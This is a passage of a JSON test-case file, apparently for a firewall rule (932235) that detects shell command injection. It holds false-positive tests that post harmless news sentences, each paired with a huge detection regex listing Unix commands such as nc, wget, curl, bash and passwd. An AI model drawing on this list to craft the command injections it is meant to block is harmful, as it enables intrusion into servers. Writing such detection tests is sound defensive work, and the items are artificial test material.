>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "FP against `a timeless cinematic icon` matching `timeless`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=Sophomore Deon King Jr. received some playing time last year as a freshman and totaled 12 tackles.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\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\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "FP against `some playing time last year` matching `time last`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=La cantante veneta annulla le ultime date del suo tour estivo.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\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0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$)